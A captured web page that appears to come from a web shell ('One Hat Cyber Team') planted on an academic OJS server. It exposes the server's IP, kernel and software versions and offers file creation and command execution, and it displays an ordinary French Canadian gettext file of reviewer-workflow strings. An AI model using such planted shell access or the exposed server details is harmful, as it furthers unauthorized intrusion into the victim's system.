One Hat Cyber Team
Your IP :
216.73.216.80
Server IP :
194.44.31.54
Server :
Linux zen.imath.kiev.ua 4.18.0-553.77.1.el8_10.x86_64 #1 SMP Fri Oct 3 14:30:23 UTC 2025 x86_64
Server Software :
Apache/2.4.37 (Rocky Linux) OpenSSL/1.1.1k
PHP Version :
5.6.40
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
var
/
www
/
ojs-nosc
/
lib
/
pkp
/
locale
/
fr_CA
/
View File Name :
reviewer.po
# Marie-Hélène Vézina [UdeMontréal] <marie-helene.vezina@umontreal.ca>, 2022. # Pierre Lasou <pierre.lasou@bibl.ulaval.ca>, 2025. # Emma U <emmaupkp@gmail.com>, 2025. msgid "" msgstr "" "Project-Id-Version: \n" "Report-Msgid-Bugs-To: \n" "POT-Creation-Date: 2019-10-15T13:36:56-07:00\n" "PO-Revision-Date: 2025-06-16 18:06+0000\n" "Last-Translator: Emma U <emmaupkp@gmail.com>\n" "Language-Team: French (Canada) <http://translate.pkp.sfu.ca/projects/pkp-lib/" "reviewer/fr_CA/>\n" "Language: fr_CA\n" "MIME-Version: 1.0\n" "Content-Type: text/plain; charset=UTF-8\n" "Content-Transfer-Encoding: 8bit\n" "Plural-Forms: nplurals=2; plural=n > 1;\n" "X-Generator: Weblate 4.18.2\n" # localization file for fr_CA. Last revision 2019-10-23T01:54:20 by Marie-Hélène Vézina, Bibliothèques, Université de Montréal. msgid "reviewer.reviewSteps.request" msgstr "1. Demande" msgid "reviewer.reviewSteps.guidelines" msgstr "2. Lignes directrices" msgid "reviewer.reviewSteps.download" msgstr "3. Télécharger et évaluer" msgid "reviewer.reviewSteps.completion" msgstr "4. Terminer" msgid "reviewer.step1.request" msgstr "Demande d'évaluation" msgid "reviewer.step1.requestBoilerplate" msgstr "" "Vous avez été choisi en tant qu'évaluateur-trice potentiel-elle de la " "soumission suivante. Voici un aperçu de la soumission, ainsi que les " "échéanciers associés à son examen. Nous espérons que vous pourrez participer " "au processus d'évaluation." msgid "reviewer.step1.viewAllDetails" msgstr "Voir toutes les informations à propos de la soumission" msgid "reviewer.submission.reviewerFiles" msgstr "Fichiers de l'évaluateur-trice" msgid "reviewer.submission.declineReview" msgstr "Refuser la requête d'évaluation" msgid "reviewer.submission.declineReviewMessage" msgstr "" "Vous pouvez indiquer au,à la rédacteur-trice, dans le champ ci-dessous, les " "raisons pour lesquelles vous refusez de participer à ce processus " "d'évaluation." msgid "reviewer.submission.acceptReview" msgstr "Accepter l'évaluation, poursuivre à l'étape #2" msgid "reviewer.submission.continueToStepThree" msgstr "Poursuivre à l'étape #3" msgid "reviewer.submission.submitReview" msgstr "Soumettre l'évaluation" msgid "reviewer.submission.saveReviewForLater" msgstr "Sauvegarder pour plus tard" msgid "reviewer.submission.reviewerGuidelines" msgstr "Lignes directrices aux évaluateurs-trices" msgid "reviewer.submission.enterCompetingInterests" msgstr "" "La revue a adopté une politique de divulgation des intérêts divergents pour " "ses évaluateurs-trices. Veuillez prendre un moment pour lire cette politique." msgid "reviewer.submission.noCompetingInterests" msgstr "Je n'ai pas d'intérêts divergents." msgid "reviewer.submission.hasCompetingInterests" msgstr "" "Il est possible que j'aie des intérêts divergents (veuillez spécifier)." msgid "reviewer.submission.competingInterests" msgstr "Intérêts divergents" msgid "reviewer.submission.guidelines" msgstr "Lignes directrices pour l'évaluation" msgid "reviewer.submission.noGuidelines" msgstr "" "Cette revue n'a pas établi de lignes directrices pour les évaluateurs-trices." msgid "reviewer.submission.downloadDescription" msgstr "" "Cliquez sur les noms des fichiers pour télécharger et évaluer (sur l'écran " "ou après les avoir imprimés) les fichiers associés à cette soumission." msgid "reviewer.submission.reviewDescription" msgstr "" "Saisir (ou copier/coller) votre évaluation de cette soumission dans le " "formulaire ci-dessous." msgid "reviewer.submission.uploadDescription" msgstr "" "Téléverser des fichiers que le,la rédacteur-trice et/ou l'auteur-e pourront " "consulter, y compris les versions révisées des fichiers d'évaluation " "originaux." msgid "reviewer.submission.reviewRound.info" msgstr "Évaluations précédentes" msgid "reviewer.submission.reviewRound.info.submittedOn" msgstr "Cycle d'évaluation {$round} Évaluation soumise le {$submittedOn}" msgid "reviewer.submission.reviewRound.info.read" msgstr "Lire l'évaluation du cycle {$round}" msgid "reviewer.submission.reviewRound.info.modal.title" msgstr "Cycle d'évaluation {$round} que vous avez soumis pour" msgid "reviewer.submission.reviewRound.comments" msgstr "Commentaires de l'évaluateur" msgid "reviewer.submission.reviewRound.comments.authorAndEditor" msgstr "Pour la rédaction et les auteurs" msgid "reviewer.submission.reviewRound.comments.editorOnly" msgstr "Pour la rédaction seulement" msgid "reviewer.submission.reviewRound.comments.prefix" msgstr "Commentaire {$index}: " msgid "reviewer.submission.reviewRound.emailLog" msgstr "Raison du refus envoyée par courriel" msgid "reviewer.submission.reviewRound.emailLog.defaultMessage" msgstr "Aucune raison fournie pour le refus de l'invitation à évaluer." msgid "reviewer.submission.reviewRound.reviewDeclineDate" msgstr "Date du refus" msgid "reviewer.submission.reviewRound.metadata" msgstr "Métadonnées de l'article" msgid "reviewer.submission.reviewRound.metadata.type" msgstr "Type" msgid "reviewer.submission.reviewRound.metadata.abstract" msgstr "Résumé" msgid "reviewer.submission.reviewRound.metadata.keywords" msgstr "Mots clés" msgid "reviewer.submission.reviewRound.general" msgstr "Information générale" msgid "reviewer.submission.reviewRound.attachments" msgstr "Pièces jointes" msgid "reviewer.submission.reviewRound.attachments.description" msgstr "Il s'agit des fichiers que vous avez joints à votre évaluation" msgid "reviewer.submission.reviewRound.files" msgstr "Fichiers pour l'évaluation" msgid "reviewer.submission.reviewRound.files.description" msgstr "Il s'agit des fichiers qui vous ont été envoyés pour l'évaluation" msgid "reviewer.complete" msgstr "Évaluation envoyée" msgid "reviewer.confirmSubmit" msgstr "Voulez-vous vraiment envoyer cette évaluation ?" msgid "reviewer.complete.whatNext" msgstr "" "Merci d'avoir évalué cette soumission. Votre évaluation a bien été reçue. " "Nous apprécions votre contribution à la qualité du travail que nous " "publions. Le,La rédacteur-trice pourrait vous contacter à nouveau pour " "obtenir d'autres renseignements, le cas échéant." msgid "reviewer.aboutDueDates" msgstr "À propos des dates d'échéance" msgid "reviewer.aboutDueDates.text" msgstr "" "Le,La rédacteur-trice demande que vous acceptiez ou refusiez d'évaluer la " "soumission avant la date d'échéance, et si vous acceptez, que vous " "complétiez l'évaluation avant la date d'échéance." msgid "submission.comments.canShareWithAuthor" msgstr "Ce texte sera transmis à l'auteur-e et au,à la rédacteur-trice" msgid "submission.comments.cannotShareWithAuthor" msgstr "Ce texte sera transmis uniquement au,à la rédacteur-trice" msgid "submission.comments.sendCopyToReviewers" msgstr "" "Envoyer une copie en Cci de ce courriel aux évaluateur.trice.s suivant.e.s." msgid "submission.comments.sendToReviewers" msgstr "Envoyer aux évaluateur.trice.s" msgid "user.authorization.submissionReviewer" msgstr "" "L'utilisateur-trice actuel-elle n'est pas assigné-e en tant qu'évaluateur-" "trice pour le document demandé." msgid "reviewer.submission.reviewRound.reviewNotCompleted" msgstr "L'évaluation n'a pas été terminée."